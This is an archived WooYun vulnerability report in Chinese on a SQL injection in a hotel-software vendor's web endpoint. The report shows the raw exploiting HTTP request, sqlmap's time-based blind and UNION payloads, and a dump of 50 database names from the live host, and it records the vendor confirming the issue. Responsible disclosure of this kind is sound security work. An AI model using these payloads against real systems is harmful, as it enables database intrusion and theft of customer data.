当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163922

漏洞标题:住哲某处SQL注入二(50库 DBA权限)

相关厂商:北京住哲信息技术有限公司

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-12-23 17:34

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-23: 细节已通知厂商并且等待厂商处理中
2015-12-27: 厂商已经确认,细节仅向厂商公开
2016-01-06: 细节向核心白帽子及相关领域专家公开
2016-01-16: 细节向普通白帽子公开
2016-01-26: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

23333

详细说明:

POST /dibeicrs/getEmpByName.html HTTP/1.1
X-Forwarded-For: 8.8.8.8'
Content-Length: 180
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://cbs.zhuzher.com:15018/
Cookie: JSESSIONID=6A29C439CA0C6C84F19600D5D092E779; JSESSIONID=6A29C439CA0C6C84F19600D5D092E779; key=yourkey; guid=206e-314c-c081-f57b
Host: cbs.zhuzher.com:15018
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
empname=-1*&searchtype=%e6%8c%89%e5%91%98%e5%b7%a5%e5%a7%93%e5%90%8d%e6%90%9c%e7%b4%a2&selHotelID=0&setmode=emp&type=


参数 empname 可注入

0.png


每个库 至少200张表+

1.png


2.png


看了下权限

3.png


漏洞证明:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 91 HTTP(s) re
quests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: empname=-1' AND (SELECT * FROM (SELECT(SLEEP(5)))VPPt) AND 'glvI'='
glvI&searchtype=%e6%8c%89%e5%91%98%e5%b7%a5%e5%a7%93%e5%90%8d%e6%90%9c%e7%b4%a2&
selHotelID=0&setmode=emp&type=
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: empname=-1' UNION ALL SELECT NULL,CONCAT(0x71786b7a71,0x4b5a4952566
d77665642,0x71786a7a71),NULL,NULL,NULL-- &searchtype=%e6%8c%89%e5%91%98%e5%b7%a5
%e5%a7%93%e5%90%8d%e6%90%9c%e7%b4%a2&selHotelID=0&setmode=emp&type=
---
[17:11:34] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.12
[17:11:34] [INFO] fetching database names
available databases [50]:
[*] baitiane
[*] baiyuan
[*] baolongjujia
[*] cbs20121022
[*] chenguang
[*] demo703
[*] dibei
[*] dongxiangting
[*] eken
[*] futai118
[*] fuyi
[*] geziwei
[*] haizhilian
[*] hanmu
[*] hanshe
[*] haorujia
[*] heyi
[*] hongzhen
[*] hongzhenpms
[*] hualv
[*] huilai
[*] hutongyin
[*] ims
[*] information_schema
[*] jiayuan
[*] jingtong
[*] jintaizhijia
[*] jitai
[*] kaibin
[*] mini
[*] mysql
[*] nixi
[*] nuoting
[*] nuotingnew
[*] qibai
[*] renhe
[*] sanyuan
[*] shishang
[*] tanggongguan
[*] test
[*] test_cbs
[*] vbs
[*] wuyishan
[*] xicheng
[*] xijinshuyuan
[*] yibai
[*] yidafengshang
[*] yinju
[*] yuanyang
[*] yueyou
[17:11:35] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\cbs.zhuzher.com'
[*] shutting down at 17:11:35

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-27 20:04

厂商回复:

感谢白帽子对住哲的关注,我们讲对废弃的端口进行关闭。

最新状态:

暂无